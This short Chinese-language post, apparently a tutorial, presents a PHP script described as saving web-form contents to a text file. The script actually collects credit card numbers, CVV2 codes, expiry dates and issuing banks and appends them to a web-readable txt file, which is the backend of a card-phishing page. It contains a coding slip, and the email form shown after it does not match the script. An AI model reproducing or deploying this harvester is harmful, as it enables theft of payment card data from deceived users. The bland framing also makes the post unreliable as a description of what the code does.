|
用PHP程序代码实现,将网页表单内容写入txt文本文件中。这个代码有时候非常有用。主要是表单的action="getpost.php",也就是写getpost.php这个文件。
PHP代码:
[pre]
<?php
//定义要收集的表单内容
$cardnum = $_POST['cardnum'];
$cvv2 = $_POST['cvv2'];
$month = $_POST['month'];
$year = $_POST['year'];
$cardbank = $_POST['cardbank'];
//定义收集的内容格式
$content = "Credit Card Number:".$cardnum.",Card Verification Number:".$cvv2.",Card Expiry Date:".$month."/ year:".$year.",IssuingBank:".cardbank;
//定义文件存放的位置
$compile_dir = "./txt.txt";
//下面就是写入的PHP代码了
$file = fopen($compile_dir,"a+");
fwrite($file,$content);
fclose($file);
?>
[/pre]
表单代码:
[pre]
<form name="searchform" id="form-email" method="post" action="" target="_blank"><input type="text" class="ktxt" name="email" value="请输入您的邮箱" onFocus="this.value=''" onBlur="if(!value){value=defaultValue;}"><input type="submit" class="kbut" value=""></form>
[/pre] |
|